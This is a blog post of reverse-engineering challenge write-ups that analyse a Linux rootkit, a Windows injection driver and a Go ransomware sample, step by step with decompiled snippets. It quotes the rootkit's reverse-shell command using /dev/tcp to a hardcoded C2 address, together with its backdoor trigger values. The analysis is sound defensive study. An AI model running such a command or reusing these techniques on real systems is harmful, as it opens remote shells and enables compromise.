The publication date of this post reflects the initial version; I will probably split this up in the future.
The malops platform is a collection of reverse engineering challenges targeting realistic malware scenarios. By providing a sample and a series of analysis questions, players are challenged to dive into real-world malware samples.
That’s exactly the right formula to get me hooked. To structure my progress while I make my way through the challenges and satisfy my inner completionist, I will be collecting write-ups below.
So far, the page below contains the following challenges (in order of completion):
This is a challenge in the rootkit category. We’re supplied with a file called singularity.ko; a Linux kernel driver. The challenge suggests to use IDA Pro, which means I’ll be using Binary Ninja.
“What is the SHA256 hash of the sample?”
We simply call sha256sum. The hash is 0b8ecdaccf492000f3143fa209481eb9db8c0a29da2b79ff5b7f6e84bb3ac7c8
“What is the name of the primary initialization function called when the module is loaded?”
Historically, the standard way was to implement init_module. More recent kernels define the module_init macro, which wraps a driver’s custom initialization function and defines it as an alias of init_module. The compiler appears to have flattened it back down to init_module.
“How many distinct feature-initialization functions are called within above mentioned function?”
The function looks as follows:
0x004052b0 int64_t init_module()
0x004052b0 endbr64
0x004052b4 call __fentry__
0x004052b9 push rbx {__saved_rbx}
0x004052ba call reset_tainted_init
0x004052bf mov ebx, eax
0x004052c1 call hiding_open_init
0x004052c6 or ebx, eax
0x004052c8 call become_root_init
0x004052cd or ebx, eax
0x004052cf call hiding_directory_init
0x004052d4 or ebx, eax
0x004052d6 call hiding_stat_init
0x004052db or ebx, eax
0x004052dd call hiding_tcp_init
0x004052e2 or ebx, eax
0x004052e4 call hooking_insmod_init
0x004052e9 or ebx, eax
0x004052eb call clear_taint_dmesg_init
0x004052f0 or ebx, eax
0x004052f2 call hooks_write_init
0x004052f7 or ebx, eax
0x004052f9 call hiding_chdir_init
0x004052fe or ebx, eax
0x00405300 call hiding_readlink_init
0x00405305 or ebx, eax
0x00405307 call bpf_hook_init
0x0040530c or ebx, eax
0x0040530e call hiding_icmp_init
0x00405313 or ebx, eax
0x00405315 call trace_pid_init
0x0040531a or ebx, eax
0x0040531c call module_hide_current
0x00405321 mov eax, ebx
0x00405323 pop rbx {__saved_rbx}
0x00405324 jmp __x86_return_thunk
We simply count the call operations, excluding the call to __fentry__; there are fifteen initialization functions.
“The reset_tainted_init function creates a kernel thread for anti-forensics. What is the hardcoded name of this thread?”
The reset_tainted_init function contains the following snippet:
0x004000aa void* rax_2 = kthread_create_on_node(
0x004000aa singularity_exit, 0, 0xffffffff,
0x004000aa "zer0t")
The last argument of kthread_create_on_node is the thread’s name, so the answer is zer0t
“The add_hidden_pid function has a hardcoded limit. What is the maximum number of PIDs the rootkit can hide?”
The following conditional in add_hidden_pid tells us when the loop breaks:
0x004027bc else if (hidden_count_1 != 0x20)
0x004027ca break
The limit is 0x20, which is 32 in decimal.
“What is the name of the function called last within init_module to hide the rootkit itself?”
Refer to question 2; it’s module_hide_current
“The TCP port hiding module is initialized. What is the hardcoded port number it is configured to hide (decimal)?”
We look at functions related to TCP for this. hiding_tcp_init installs a number of hooks, one of which is hooked_tcp4_seq_show. The latter contains the following conditional. For clarity, we set the type of v to struct sock*.
0x00400d7b if (v->__offset(0x318).d
0x00400d7b != in_aton("192.168.5.128")
0x00400d7b && v->__sk_common..skc_addrpair.d
0x00400d7b != in_aton("192.168.5.128")
0x00400d7b && v->__offset(0x31e).w != 0xa146
0x00400d7b && v->__sk_common..skc_portpair.w
0x00400d7b != 0xa146)
The port number is 0xa146, but it is important to note that skc_portpair.w is a word in little-endian representation. To compute the decimal, we must thus swap the bytes. We get 0x46a1, which is 18081.
“What is the hardcoded “magic word” string, checked for by the privilege escalation module?”
The “privilege escalation module appears to refer to become_root_init. This function installs a series of hooks starting from 0x0040aa10. Turning the data at that address into an array of ftrace_hook objects helps with readability somewhat.
We page through the installed hooks, and in hook_getuid we observe the following:
0x004002e2 if (strstr(i_1, "MAGIC=babyelephant") != 0)
0x004002e4 int64_t rax_5 = prepare_creds()
It appears the magic word is babyelephant.
“How many hooks, in total, does the become_root_init function install to enable privilege escalation?”
We see a singular call to fh_install_hooks. The second argument is the number of hooks: 0xa, or decimal 10.
“What is the hardcoded IPv4 address of the C2 server?”
See the snippet for question 7; 192.168.5.128. This IP also occurs in functions such as hooked_tpacket_rcv where the network traffic is hidden, and in hook_icmp_rcv and spawn_revshell where the actual connection is established.
“What is the hardcoded port number the C2 server listens on?”
It’s listening for a reverse shell connection by spawn_revshell; this function builds the following command string:
0x004048eb snprintf(&cmd, 0x300,
0x004048eb "bash -c 'PID=$$; kill -59 $PID; exec -a "%s" "
0x004048eb "/bin/bash &>/dev/tcp/%s/%s 0>&1' &",
0x004048eb "firefox-updater", "192.168.5.128", "443")
It establishes a TCP connection to 192.168.5.128 at port 443.
“What network protocol is hooked to listen for the backdoor trigger?”
That’s what’s happening in hook_icmp_rcv; the protocol we’re looking for is ICMP.
“What is the “magic” sequence number that triggers the reverse shell (decimal)?”
I’ve not dissected the packet structure in detail, but the following comparison seems to give it away:
0x00404ae5 if (head != neg.q(rax_6) &&
0x00404ae5 in4_pton("192.168.5.128", 0xffffffff, &trigger_ip, 0xffffffff, 0) != 0
0x00404ae5 && *(rax_3 + 0xc) == trigger_ip && *rdx_3 == 8
0x00404ae5 && *(rdx_3 + 6) == 0xcf07)
The magic number is 0xcf07. Again we interpret this as little-endian, converting to 0x07cf which is 1999 in decimal.
“When the trigger conditions are met, what is the name of the function queued to execute the reverse shell?”
Right below the condition from question 13, we find:
0x00404b3f if (rax_9 != 0)
0x00404b4f rax_9[3] = spawn_revshell
0x00404b5c int64_t rsi_2 = *system_wq
0x00404b63 *rax_9 = 0xfffffffe00000
0x00404b6a rax_9[1] = &rax_9[1]
0x00404b6e rax_9[2] = &rax_9[1]
0x00404b72 queue_work_on(0x2000, rsi_2)
The function is clearly named: spawn_revshell.
“The spawn_revshell function launches a process. What is the hardcoded process name it uses for the reverse shell?”
We refer to the command in question 11; the process name is supplied using the -a flag of the exec command: firefox-updater.
Continuing in the rootkit category, we’re given a single sample file. As we’ll see shortly, this is a Windows driver.
Binary Ninja correctly identifies this sample as something that runs on the windows-x86-kernel platform, but it appears support for this platform is not yet as complete as one might hope. In particular, the SEH prolog/epilog is not recognized correctly, and the type library is empty. We can manually select the windows-x86 platform instead, improving decompilation significantly. See also this Github issue.
“What is the SHA256 of this sample?”
Running sha256sum gives us 980954a2440122da5840b31af7e032e8a25b0ce43e071ceb023cca21cedb2c43
“What type of executable is this sample?”
This one had me stumped for a while. The answer format suggests we’re looking for six characters, so PE32 or PE is out. I tried native, but that was wrong.
After asking on the Malops Discord to verify whether the answer format was correct, I was told to look at the IMAGE_OPTIONAL_HEADER. Searching for a six character word let me to the DllCharacteristics flags — one of which is WDM_DRIVER. This indicates that the file is a Windows driver that uses the Windows Driver Model.
“This sample attempts to masquerade as a component of the system. Which system component is it attempting to masquerade as?”
The FileDescription field of the Version resource tells us that the file is the Windows NT SMB Manager. We can browse the file resources using tools such as Detect-It-Easy.
“What is the Original Filename of the sample?”
The OriginalFilename field is also part of a PE file’s Version resource. The original filename of this sample is mrxsmbmg.sys.
“This sample only runs on one type of system architecture, which one?”
This is a 32-bit driver and Windows provides no compatibility layer for drivers, so this sample only runs on 32-bit systems.
“This is targeted at specific versions of the Windows operating system. Which version of Windows will this sample not run on?”
In _start, we find the following snippet that retrieves and checks the system version:
0x00010d29 PsGetVersion(&var_8, &var_c, 0, 0)
0x00010d29 ...
0x00010d33 if (var_8 u<= 5)
The MajorVersion is written to var_8; the _start function only continues if it’s 5 or less. That’s remarkable, as the IMAGE_OPTIONAL_HEADER specifies a MajorOperatingSystemVersion requirement of 6.
“What Windows API does the sample use to execute the main function via Thread?”
After the OS check was passed and a memory pool was allocated, the _start function builds a Thread context and calls PsCreateSystemThread on line 0x10dd7. Notably, it passes a handle to sub_10afc as the StartRoutine argument.
“With the goal of obfuscating certain capabilities, the sample implements an algorithm for decrypting strings at runtime. What is the seed of this algorithm?”
In sub_10afc we find a couple references to sub_11524; the first argument is a constant, and the second is a reference to an address in the .data section. Looking at the chunks of data at those addresses, we identify several sequences of data separated by null bytes. Indeed, when we check the cross references to the start of these sequences, we find more references to sub_11524. Presumably this is the string deobfuscation routine.
Inside sub_11524, we find some buffer manipulation and a reference to sub_11432. This is where the magic happens:
0x00011456 if (result s> 0)
0x00011475 do
0x0001145e state = state * 0x19660d + 0x3c6ef35f
0x0001146e buffer[ecx_1] ^= (state u>> 0x10).w | 0x8000
0x00011472 ecx_1 += 1
0x00011475 while (ecx_1 s< result)
That’s an LCG! Tracing the function arguments, we see that the first argument of sub_11524 is passed to sub_11432 as its first argument as well. This is the LCG seed; 0xaa107fb.
Interestingly, there are two instances of data deobfuscation going on. The function described above operates on words, while the LCG at sub_11432 operates on bytes. Indeed, the encrypted strings from 0x12f20 onwards are separated by singular null bytes rather than null-words.
“What are the first three strings (in order) that were decrypted?”
Alas, a question where dynamic analysis is probably much more convenient. That requires firing up a Windows VM, though. We can use the Binary Ninja API and a bit of Python, instead:
def decrypt_string(addr):
state = 0xAA107FB
output = ""
while True:
data = int.from_bytes(bv.read(addr, 2), byteorder="little")
addr += 2
if data == 0:
break
state = (state * 0x19660D + 0x3C6EF35F) & 0xFFFFFFFF
output += chr(data ^ ((state >> 0x10) | 0x8000))
return output
print(decrypt_string(0x12eb0))
print(decrypt_string(0x12e9c))
print(decrypt_string(0x12ecc))
The fact that it operates on words tripped me up when implementing the above, and I ended up using unicorn with udbserver and gdbgui to trace what was going on. At that point the debugger showed the strings, but I was already too far down the static analysis rabbit hole to accept defeat.
We can use the Binary Ninja API as follows to quickly rename the strings accordingly; the first three strings are services.exe, lsass.exe and winlogon.exe.
bv.define_user_data_var(here, bv.get_data_var_at(here).type, decrypt_string(here))
Purely out of curiosity, the other strings in the .data section encrypted using the 2-byte LCG are msvcp73.dll and Kernel32.dll. The single-byte LCG was used to encrypt the names of memory allocation and thread related API calls: VirtualFree, LoadLibraryW, KeAttachProcess, KeDetachProcess, ZwAllocateVirtualMemory, ZwFreeVirtualMemory, KeInitializeApc, and KeInsertQueueApc.
“This sample implements a process injection routine. What is the name of the injection technique implemented by this sample?”
It should not come as a surprise that the decrypted process names we found in question 9 are targets for process injection.
The loop in sub_10afc iterates over the candidate processes. In sub_10a40 and sub_11fba, the ZwQuerySystemInformation API is used to retrieve SystemProcessInformation and iterate over all available processes to see whether the candidate process is present. When it is present, the actual injection is attempted in sub_1116e.
The strings we noted in question 9 are decrypted here;
0x000111b3 int32_t eax = sub_11582(0xaa107fb, &KeAttachProcess)
0x000111c1 int32_t eax_1 = sub_11582(0xaa107fb, &KeDetachProcess)
0x000111cf int32_t eax_2 = sub_11582(0xaa107fb, &ZwAllocateVirtualMemory)
0x000111dd int32_t eax_3 = sub_11582(0xaa107fb, &ZwFreeVirtualMemory)
Without diving into sub_11582, let’s assume it decrypts and resolves the listed API functions; the returned pointers are used directly in call instructions (e.g., on line 0x113e2). For clarify, we mark sub_113bd as an inline function so that Binary Ninja is able to follow the pointers that were stored on the stack.
After the calls to KeAttachProcess and ZwAllocateVirtualMemory, we see a call to ExAllocatePool that allocates a block of memory, which is then passed to sub_10fbc. Skipping ahead, we see that the buffer is then copied to the remotely allocated memory. Let’s jump into sub_10fbc!
In sub_10fbc, the first thing we notice is the decrypted strings Kernel32.dll, VirtualFree and LoadLibraryW. The Kernel32 string is passed to sub_10df0, where ZwQueryInformationProcess is called with ProcessInformationClass 0 which retrieves the PEB structure. The remainder of the function iterates through the PEB to retrieve an instance of Kernel32.dll. Setting the variable assigned on line 0x10e8f to the PEB_LDR_DATA* type helps make the code a bit more readable. When Kernel32.dll is found, the respective LDR_DATA_TABLE_ENTRY is assigned to the output pointer in the second function argument:
0x00010ec9 while (true)
0x00010ed1 if (RtlCompareUnicodeString(&Flink->BaseDllName, &var_38, 1) == 0)
0x00010ed6 *arg2 = Flink
0x00010ede _local_unwind2(&ExceptionList, 0xffffffff)
0x00010ee5 result = 0
0x00010ee7 break
0x00010eec Flink = Flink->InLoadOrderLinks.Flink
Next up is sub_1174e. Binary Ninja does not quite recognize that it receives a bunch of arguments, and instead creates stack variables. It does now see that DllBase is passed, at least.
0x000110c0 RtlInitString(&var_3c, LoadLibraryW)
0x000110c5 int32_t var_34
0x000110c5 int32_t* var_4c_4 = &var_34
0x000110c6 int32_t var_50_7 = 0
0x000110ca void* var_54_2 = &var_3c
0x000110cb int32_t var_58_2 = 1
0x000110d5 result_2 = sub_1174e(DDL_base: result_4->DllBase)
By defining the function type to accept five arguments, we get the following:
0x000110c0 RtlInitString(dest: &var_3c, src: LoadLibraryW)
0x000110d5 int32_t var_34
0x000110d5 result_1 = sub_1174e(DDL_base: kernel32_1->DllBase, 1, &var_3c, 0, &var_34)
From context we can assume that it’s looking for VirtualFree and LoadLibraryW inside Kernel32.dll. When found, it writes the result to specific addresses within the buffer that was passed to sub_10fbc. But it appears we’re digressing a bit..
0x000110e8 memset(&pool[2], 0, 0x100)
0x000110f6 wcsncpy(&pool[2], arg2, 0xff)
0x00011102 *pool = virtualFree
0x00011107 pool[0x83] = loadLibraryW
After sub_10fbc has filled in the blanks and the code is set up, we jump into sub_11cca. I suppose this is where I should’ve immediately looked at where the other decrypted strings were used; on address 0x11cf2 and 11cff the API calls to KeInitializeApc and KeInsertQueueApc are resolved. This starts to look like APC injection..
Indeed, the remainder of the function uses KeInitializeApc sets up an APC context and inserts it into the queue. The third argument to sub_11cca is the target thread. Tracing the input we can see it was set up in sub_11b78, but I’ll leave that for another time.
“What are the two APIs used by this sample to execute the injection technique?”
We’ve covered this in the previous question: KeInitializeApc and KeInsertQueueApc.
“A shellcode will be injected using the technique identified in the previous question. This shellcode will load a module into the injected memory. What is the name of this module?”
We make note of another decrypted string: msvcp73.dll. We can find references to it in sub_104b4, where it’s decrypted and returned. We can then trace it as an argument to sub_1116e and into sub_10fbc, which we pulled apart for question 10. In particular, on line 0x110f6, the msvcp73.dll string is copied into the shellcode using wcsncpy.
It seems we get to stay in the kernel a bit longer. This challenge presents us with a kernel driver that sabotages EDR so that ransomware can do its thing. It is described to communicate over IOCTL. Reading this blogpost on communication between usermode and kernel drivers proved to be quite useful.
This time around we’re dealing a 64-bit kernel driver, and the Binary Ninja platform windows-kernel-x86_64 is much more mature.
“The driver exposes itself to usermode applications under a specific name. What is this name?”
The only relevant outgoing function from DriverEntry (labeled _start) is sub_14000114c. We immediately note \Device\NSecKrnl and \DosDevice\NSecKrnl. Tracing these throughout the function, we see them being used as an input to IoCreateDevice and IoCreateSymbolicLink as the DeviceName and SymbolicLinkName.
The length of the answer format suggests that the answer we’re looking for is NSecKrnl.
“During initialization, the driver tampers with its own loader entry to bypass a kernel security check. What hex value is OR’d into that field?”
Right at the start of the function, we observe the following:
140001152 void* DriverSection = arg1->DriverSection
140001165 *(DriverSection + 0x68) |= 0x20
That must be what’s referred to here, so the answer is 0x20. The exact structure of the DriverSection is out of scope for this challenge.
“At what byte offset from the base of the loader data table entry does this tampering occur?”
That’s the offset we saw in Question 2: 0x68.
“One of the IOCTL codes handled by the dispatch function leads to forced process termination. What is this code in hex?”
Now we get to dive into the function that handles IOCTL codes; that’s MajorFunction 14, IRP_MJ_DEVICE_CONTROL, identified as sub_140001030.
By clicking through the subroutines of the dispatch function, we find sub_1400013e8 which includes a call to ZwTerminateProcess. This function is gated behind IOCTL code 0x2248e0.
“When the dispatch function receives an unrecognized IOCTL or a NULL input buffer, it returns a specific NTSTATUS code. What is it in hex?”
If none of the conditional branches are met, the status is left to the default value of 0xc0000001.
“The driver maintains internal tracking arrays with a fixed capacity. How many entries can each array hold?”
An array is used in sub_140001614 in a loop that iterates until the index is 1024. In sub_140001240 we also see an array, and while the loop counter does not reveal its size, we note that the memory layout suggests it can also contain 1024 64-bit integers.
“The driver registers a kernel callback to intercept handle operations at a specific altitude. What is this altitude number?”
The altitude of a file system driver dictates where it is placed in the order of execution between the application layer and the file system.
All of this happens in sub_140001518, which, coming out of decompilation is a bit of a mess. Proper struct typing is crucial; using the OB_CALLBACK_REGISTRATION type for the variable at stack offset -0x38 and OB_OPERATION_REGISTRATION for the variable at offset -0x58, we get the following:
140001533 OB_OPERATION_REGISTRATION op_reg
140001533 op_reg.ObjectType = PsProcessType
14000153e op_reg.Operations.q = 3
14000154f op_reg.PreOperation = sub_1400014b0
140001555 OB_CALLBACK_REGISTRATION callback_reg
140001555 callback_reg.Version = 0
140001555 callback_reg.OperationRegistrationCount = 0
140001555 callback_reg.Altitude.Length = 0
140001555 callback_reg.Altitude.MaximumLength = 0
140001559 callback_reg.OperationRegistration = 0
14000155d op_reg.PostOperation = 0
140001561 callback_reg.Altitude.Buffer = 0
140001561 callback_reg.RegistrationContext = 0
140001565 callback_reg.Version = 0x100
140001565 callback_reg.OperationRegistrationCount = 1
14000156c RtlInitUnicodeString(DestinationString: &callback_reg.Altitude, SourceString: u"328987")
140001576 callback_reg.RegistrationContext = 0
140001581 callback_reg.OperationRegistration = &op_reg
140001589 NTSTATUS result = ObRegisterCallbacks(CallbackRegistration: &callback_reg,
140001589 RegistrationHandle: &callback_registration_handle)
We could have suspected as much based on the string value, but now it is abundantly clear that the altitude is 328987.
“When the driver opens a handle to a process it is about to forcefully terminate, what handleattribute value (hex) does it request?”
This happens in the function we identified in question 4, sub_1400013e8. The value is 0x200.
“What is the PDB filename embedded in the binary?”
This one’s for DiE. We find the path D:\NSecsoft\NSec\NSEC-Client-Kernel\Drivers\NSecKrnl\NSecKrnl\bin\NSecKrnl64.pdb
“The driver creates its device object with a specific device type constant. What is this value in hex?”
We find this as an argument to IoCreateDevice;
1400011d8 NTSTATUS result = IoCreateDevice(DriverObject: arg1, DeviceExtensionSize: 0,
1400011d8 DeviceName: &devicename, DeviceType: 0x22, DeviceCharacteristics: 0,
1400011d8 Exclusive: 0, &DeviceObject)
“All four IOCTL codes are evenly spaced. What is the stride (difference) between consecutive codes?”
The codes are 0x2248d4, 0x2248d8, 0x2248dc and 0x2248e0, so they’re 4 apart.
“Before the handle interception callback checks its internal tables, it performs a self-check to avoid interfering when a process operates on itself. What kernel API provides the current process pointer for this comparison?”
This happens in the PreOperation callback we identified in question 7. It’s useful to type it accordingly (POB_PRE_OPERATION_CALLBACK), so that the arguments are resolved properly. We quickly see a call to IoGetCurrentProcess().
“After unregistering the handle interception callback during driver teardown, the registration handle global is set to a specific value. What is it?”
This happens in sub_140001674; the global is set to 0.
“The handle interception monitors two types of operations simultaneously. What is the combined flag value (decimal) in the operation registration structure?”
That’s the OB_OPERATION_REGISTRATION object, where we see an Operations value of 3. That’s the sum of OB_OPERATION_HANDLE_CREATE and OB_OPERATION_HANDLE_DUPLICATE.
“The termination function must release a reference on the process object before returning. What kernel API performs this dereferencing?”
There is no room for ambiguity here: that’s ObfDereferenceObject.
“During initialization, the driver registers a notification callback for image loading events. The function registered for this purpose is unusually small. What is its size in bytes (hex)?”
The routine only contains a return operation, c2 00 00.
“The address of the function that the driver assigns as its DriverUnload handler is what?”
That’s sub_1400010e0.
This challenge concerns a ransomware sample written in Go. Binary Ninja seems to have some trouble; the support for Go’s calling conventions just isn’t quite there yet, and even with GoReSym output there’s still quite some work to do.
Luckily, IDA Free is able to handle this sample much better, so I’ll use IDA for this challenge. Note that I’ve generally left the function names the way IDA presents them, i.e., I did not replace the _ placeholders by Go’s / and . separators.
“Which version of the Go compiler was used to build this binary?”
DetectItEasy tells us it’s go1.24.5.
“What is the Relative Virtual Address (RVA) of the program’s main function?”
We find main_main at 0xDAE980.
“In the isRunningAsAdmin function, which Windows API is the first to be resolved via the HCWin/apihash package?”
We simply open up the function and see a call to HCWin_apihash__ptr_APIHash_GetCurrentProcess. Internally, this function calls the generic function HCWin_apihash__ptr_APIHash_CallAPI and passes GetCurrentProcess as a parameter.
“The binary calls GetTokenInformation. What specific token class (by name) is being requested to verify privileges?”
The call to GetTokenInformation also happens in isRunningAsAdmin; we find this by looking up cross-references to the GetTokenInformation function.
The function signature of GetTokenInformation is as follows:
BOOL GetTokenInformation(
[in] HANDLE TokenHandle,
[in] TOKEN_INFORMATION_CLASS TokenInformationClass,
[out, optional] LPVOID TokenInformation,
[in] DWORD TokenInformationLength,
[out] PDWORD ReturnLength
);
Looking at the second argument, we see that the constant value 20 is passed. If we set the type of that argument to TOKEN_INFORMATION_CLASS, IDA resolves it to TokenElevation.
“Which package is responsible for configuring and executing the evasion of Event Tracing for Windows?”
Simply scrolling through main_main, we see several references to HCWin_etwevasion. Surely that must be it. A bit further down, we see alternative code paths that raise related error messages (“ETW evasion initialization failed”).
“If the malware fails to retrieve the computer name via the Windows API, which environment variable does it read as a fallback to generate the system seed?”
Looking for references to common Windows APIs to get the computer name, we identify internal_syscall_windows_GetComputerNameEx, which is called from Go’s os/hostname. That seems to be a dead end, though, as we find no references to os/hostname.
Instead we start top-down from main again. We do not immediately see any relevant calls directly from main_main, but the package does contain a getSystemSeed function. Upon closer inspection it is called indirectly via generateMutexName.
In getSystemSeed we see dynamic API resolution of GetComputerNameW, so we’re on the right track. In the alternative codepath, when syscall__ptr_LazyProc_Call(GetComputerNameW, ..) fails, we see a call to os_Getenv(USERNAME).
“The function getSystemSeed dynamically loads a DLL to access GetComputerNameW. What is the name of this DLL?”
Just above the call to LazyDLL/NewProc that loads GetComputerNameW, we see a call to syscall_NewLazyDLL("kernel32.dll", 12). That makes sense, as that’s where GetComputerNameW is typically found.
“The malware prepends a specific string to the generated Mutex name to ensure the synchronization object is visible across all user sessions. What is this prefix?”
We hop a function up in the call tree and look at generateMutexName. The function ends with a call to runtime_concatstring2, to which it passes a reference to data at address 0xE4CF36 and specifies a substring length of 7. If we look at the raw characters at this address, we find Global\.
“Which specific Windows error code does the checkSingleInstance function check to see if the Mutex already exists?”
IDA has some trouble following the stack variables in checkSingleInstance, but the comparison at 0xDADD65 is pretty clear: cmp rbx, 0B7h.
Looking at Windows system error codes, this corresponds to ERROR_ALREADY_EXISTS; “Cannot create a file when that file already exists.”
“The Hook Shield module starts a monitoring routine to check for hooks periodically. What is the time interval (in milliseconds) defined in this check?”
Looking through calls from main that relate to the Hook Shield module, we see HCWin_hookshield__ptr_HookDetector_StartMonitoring. In addition to the ‘detector’ object, it is passed the constant value 500000000. Clicking through the call stack we arrive at HCWin_hookshield__ptr_HookDetector_monitoringLoop, in which a new time/newTicker object is created. The Go documentation specifies that it takes a duration value in nanoseconds, so that’s 500 milliseconds.
“To prevent victims from restoring files, the malware executes a specific function to remove Windows Volume Shadow Copies. What is the name of this function?”
Back in main, we see a call to HCWin_shadow_DeleteShadowCopies. Sometimes it is that straight-forward.
“How many distinct services or processes is the malware configured to terminate (kill)?”
By searching for the keywords “terminate” and “kill”, we find a function called killBlacklistedServices. It starts with a loop that iterates over values found via the pointer at address 0x10606E0 (which points to 0x1066D00) to create main/killFlags objects. The iterator starts at the value found at 0x10606E8, where we see the value 0x1F (decimal 31). Indeed, there are 31 process names at 0x10606E0.
“What is the memory address of the string data for the first service in the kill list?”
We find the reference at address 0x1066D00, pointing to 0xE4C09A where we find the string sql.
“The malware uses multiple methods to propagate to other systems. According to the string at 0xe4c09d, what is the first protocol it attempts to use for remote execution?”
At 0xe4c09d we find the string WMI, which matches the description perfectly.
“To identify vulnerable file shares for lateral movement, the malware checks for a specific open port number. What is this port?”
Surely this will be the SMB port 445, or perhaps 139.
We’re looking for functions related to network shares; searching for share presents us with a bunch of functions in the HCWin/shares namespace, and we spot isSMBPortOpen. Indeed, this checks port 445, and we can trace a path from main_encryptNetworkShares to this function.
“The malware contains a hardcoded list of files to skip to ensure the OS remains bootable. Which hidden system directory related to deleted files is explicitly excluded?”
We identify main_findFiles as the function responsible for walking the file system. Inside, it calls path_filepath_Walkdir and supplies main_FindFiles_func1 as the functtion to execute for every directory.
main_FindFiles_func1 is a bit of a mess, but we find a reference to a list of file names that starts with $recycle.bin. It appears there are 0x17 entries in the list; the next one is $windows.~bt.
“To avoid encrypting its own instructions, the malware excludes a specific filename from the encryption list. What is the name of this note file?”
That’s in the same function, but not in the same list: R3ADME_1Vks5fYe.txt.
“The malware uses a checksum algorithm to identify files it has already encrypted. What is the expected total length (including the dot) of the extension validated in ‘isValidExtension’?”
Right at the top of isValidExtension, argument 2 is compared to 9 and the first character of argument 1 is checked not to be a dot. The rest of the function assumes length 9, so the length is not actually used.
“The malware generates a random symmetric key for each file. Based on the buffer size passed to crypto/rand.Read, what is the bit length of this key?”
We can cross-reference from crypto_rand_Read, and see that it’s called from main_encryptFile twice; once to get 32 bytes of data, and once to get 12 bytes. Without diving into the crypto, this smells very much like the IETF’s variant of ChaCha20, with a 32-byte key and a 12-byte nonce. That means we’re looking at a 256-bit key.
“To secure the per-file symmetric keys, the malware encrypts them using a public key algorithm. Which specific padding scheme is used with RSA?”
A bit further down, after loading the RSA key, we see a call to crypto_rsa_EncryptOAEP. Thus the padding scheme used here is OAEP.
“The malware creates a header for encrypted files. What 4-byte ASCII string (Magic Marker) is written at the very end of the file header?”
Scrolling through the EncryptFile function, we make note of a remarkable constant (uint8 *) RDPSSDNE. Further down, we observe that a pointer halfway into the buffer is passed to bytes__ptr_Buffer_Write, writing four bytes. In little-endian order, we would write ENDS. That matches the description too well to be a coincidence.
“For large files, the malware does not encrypt the entire content to save time. What single character does it write to the file footer to indicate this mode?”
It would appear this relates to main_generatePartialEncryptionOffsets, which seems to return a pointer if partial encryption is necessary. The subsequent branch reveals that the character P is relevant when we’re partially encrypting..
PartialEncryptionOffsets = (_QWORD *)main_generatePartialEncryptionOffsets(v238, (__int64)v99, 32, 32);
if ( PartialEncryptionOffsets )
v101 = *PartialEncryptionOffsets;
else
v101 = 0;
if ( v101 )
{
v104 = PartialEncryptionOffsets;
v87 = 'P';
}
A bit further down, a debug message describes a case where it’s falling back to ‘full encryption’, and in that case v87 is set to C. This further strengthens our hypothesis that v87 is the distinctive character. Tracing it through the function, we observe it being written to the buffer using bytes__ptr_Buffer_WriteByte.
“The malware uses a specific Windows API function from user32.dll to apply the new wallpaper. What is the name of this function?”
Changing gears again, we search for a function related to a wallpaper and find main_changeWallpaper. It contains a single API call to SystemParametersInfoW.
if ( HCWin_apihash__ptr_APIHash_CallAPI("SystemParametersInfoW", 21, v2, 10, &v9) )
“The malware uses above mentioned API to change the desktop wallpaper. What specific SPI constant (by name) is passed as the ‘uiAction’ argument to trigger this behavior?”
The function signature is as follows:
BOOL SystemParametersInfoW(
[in] UINT uiAction,
[in] UINT uiParam,
[in, out] PVOID pvParam,
[in] UINT fWinIni
);
Because of the indirection through HCWin_apihash__ptr_APIHash_CallAPI, we’ll need to look into v9 for the arguments. We see that it’s set to 0x14, and looking at the Microsoft documentation, we find that this corresponds to SPI_SETDESKWALLPAPER.
“In the fallback self-destruct mechanism, the malware drops a VBScript to disk. Which Windows executable is explicitly invoked to run this script silently?”
We’re looking at main_selfDestruct for this. It contains three routines in a cascading if-else-construction. As we’re looking for the ‘fallback’, we’ll start at the final routine: main_deleteSelfViaWMI. Indeed, we immediately spot cleanup.vbs, which is passed as a parameter to a fmt/Sprintf call that constructs a wscript.exe command.